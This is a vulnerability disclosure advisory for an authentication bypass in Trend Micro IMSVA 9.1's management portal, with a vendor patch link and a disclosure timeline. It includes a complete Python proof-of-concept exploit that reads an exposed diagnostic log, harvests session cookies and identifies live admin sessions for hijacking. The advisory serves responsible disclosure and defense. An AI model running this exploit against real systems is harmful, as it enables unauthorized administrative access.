Trend Micro IMSVA Management Portal version 9.1.0.1600 suffers from an authentication bypass vulnerability.
d82d45e882b2eb1faa1bb688364f31a9KL-001-2018-006 : Trend Micro IMSVA Management Portal Authentication Bypass
Title: Trend Micro IMSVA Management Portal Authentication Bypass
Advisory ID: KL-001-2018-006
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-006.txt
1. Vulnerability Details
Affected Vendor: Trend Micro
Affected Product: InterScan Mail Security Virtual Apppliance
Affected Version: 9.1.0.1600
Platform: Embedded Linux
CWE Classification: CWE-522: Insufficiently Protected Credentials, CWE-219: Sensitive Data Under Web Root
Impact: Authentication Bypass
Attack vector: HTTPS
2. Vulnerability Description
Any unauthenticated user can bypass the authentication process.
3. Technical Description
The web application is plugin-based and allows widgets to
be loaded into the application. A plugin which is loaded by
default stores a log file of events in a directory which can be
accessed by unauthenticated users. Files within this directory
(such as /widget/repository/log/diagnostic.log) which contain
cookie values can then be read, parsed, and session information
extracted. A functional exploit is shown below.
4. Mitigation and Remediation Recommendation
Trend Micro has released a Critical Patch update to the
affected versions for this vulnerability. The advisory and
links to the patch(es) are available from the following URL:
https://success.trendmicro.com/solution/1119277
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2017.08.11 - KoreLogic submits vulnerability details to Trend Micro.
2017.08.11 - Trend Micro confirms receipt.
2017.09.15 - KoreLogic asks for an update on the triage of the
reported issue.
2017.09.15 - Trend Micro informs KoreLogic that the issue is in
remediation but there is no expected release date yet.
2017.09.25 - 30 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.10.06 - Trend Micro informs KoreLogic that the issue will not
be addressed before the 45 business-day deadline. They
ask for additional time for the details to remain
embargoed in order to complete QA on the proposed fix.
2017.10.06 - KoreLogic agrees to extend the disclosure timeline.
2017.10.17 - 45 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.11.02 - Trend Micro notifies KoreLogic that the Critical Patch
for IMSVA 9.1 (Critical Patch 1682) has gone live,
but they are still working on the patch for IMSVA 9.0.
2017.11.07 - 60 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.12.21 - 90 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.12.28 - Trend Micro notifies KoreLogic that the IMSVA 9.0
Critical Patch is being localized for foreign language
customers. Expected release date is late January 2018.
2018.01.18 - Trend Micro notifies KoreLogic that the expected release
date for the IMSVA 9.0 Critical Patch and the advisory
is to be January 31, 2018.
2018.01.23 - 110 business days have elapsed since the vulnerability
was reported to Trend Micro.
2018.01.31 - Trend Micro releases the advisory associated with this
vulnerability and the related Critical Patches.
2018.02.08 - KoreLogic public disclosure.
7. Proof of Concept
#!/usr/bin/python3
from argparse import ArgumentParser
from ssl import _create_unverified_context
from time import mktime
from urllib.request import HTTPSHandler, HTTPError, Request, urlopen, build_opener
banner = '''Trendmicro IMSVA 9.1.0.1600 Management Portal Authentication Bypass
{}'''.format('-'*67)
class Exploit:
def __init__(self, args):
self.target_host = args.host
self.target_port = args.port
self.list_all = args.ls
self.sessions = []
self.session_latest_time = None
self.session_latest_id = None
self.sessions_active = []
return None
def is_target(self):
url_loginpage = Request('https://{}:{}/loginPage.imss'.format(self.target_host, self.target_port))
url_loginjsp = Request('https://{}:{}/jsp/framework/login.jsp'.format(self.target_host, self.target_port))
if urlopen(url_loginpage, context=_create_unverified_context()).getcode() == 200:
try:
urlopen(url_loginjsp, context=_create_unverified_context())
except HTTPError as e:
if e.code == 403:
return True
else:
return False
return False
def get_sessions(self):
url_vulnpage = Request('https://{}:{}/widget/repository/log/diagnostic.log'.format(self.target_host,
self.target_port))
vuln_obj = urlopen(url_vulnpage, context=_create_unverified_context())
if vuln_obj.getcode() == 200:
vuln_pagedata = vuln_obj.read()
for line in vuln_pagedata.decode('utf8').split('\n'):
if 'product_auth' in line and 'JSEEEIONID' in line:
self.sessions.append((line.split(',')[0], line.split(',')[-1].split(' ')[1].split(':')[1]))
else:
return False
return True
def find_latest(self):
for session in list(set(self.sessions)):
year, month, day = session[0].split(' ')[0].split('-')
hour, minute, second = session[0].split(' ')[1].split(':')
session_time = mktime((int(year), int(month), int(day), int(hour), int(minute), int(second), 0, 0, 0))
if self.session_latest_time is None:
self.session_latest_time = session_time
if session_time > self.session_latest_time:
self.session_latest_time = session_time
self.session_latest_id = session[1]
if self.list_all:
if self.is_session_alive():
self.sessions_active.append((self.session_latest_time, self.session_latest_id))
return True
def is_session_alive(self):
url_consolepage = Request('https://{}:{}/console.imss'.format(self.target_host, self.target_port))
opener = build_opener(HTTPSHandler(context=_create_unverified_context()))
opener.addheaders.append(('Cookie', 'JSESSIONID={}'.format(self.session_latest_id)))
console_obj = opener.open(url_consolepage)
if console_obj.getcode() == 200:
console_pagedata = console_obj.read().decode('utf8')
if 'parent.location.href="/timeout.imss"' in console_pagedata:
return False
else:
return False
return True
def run(self):
if self.is_target():
if self.get_sessions():
print('[-] Leaked {} sessions'.format(len(self.sessions)))
self.find_latest()
if self.list_all and self.sessions_active:
print('[+] Active sessions leaked.')
sessions = []
for entry in list(set(self.sessions_active)):
sessions.append(entry[1])
for session in list(set(sessions)):
print('Set-Cookie: JSESSIONID={}'.format(session))
elif self.is_session_alive():
print('[+] Active session leaked.')
print('Set-Cookie: JSESSIONID={}'.format(self.session_latest_id))
return True
else:
print('[-] {} sessions leaked but none are active.'.format(len(self.sessions)))
return False
else:
return False
else:
return False
return False
if __name__ == '__main__':
print(banner)
arg_parser = ArgumentParser(add_help=False)
arg_parser.add_argument('-H', '--help', action='help', help='Help')
arg_parser.add_argument('-h', '--host', default=None, required=True, help='Target host')
arg_parser.add_argument('-p', '--port', default=8445, type=int, help='Target port')
arg_parser.add_argument('-l', '--ls', action='store_true', default=False, help='List all sessions (noisy)')
args = arg_parser.parse_args()
Exploit(args).run()
The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
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ranging from Fortune 500 to small and mid-sized companies. We
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the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt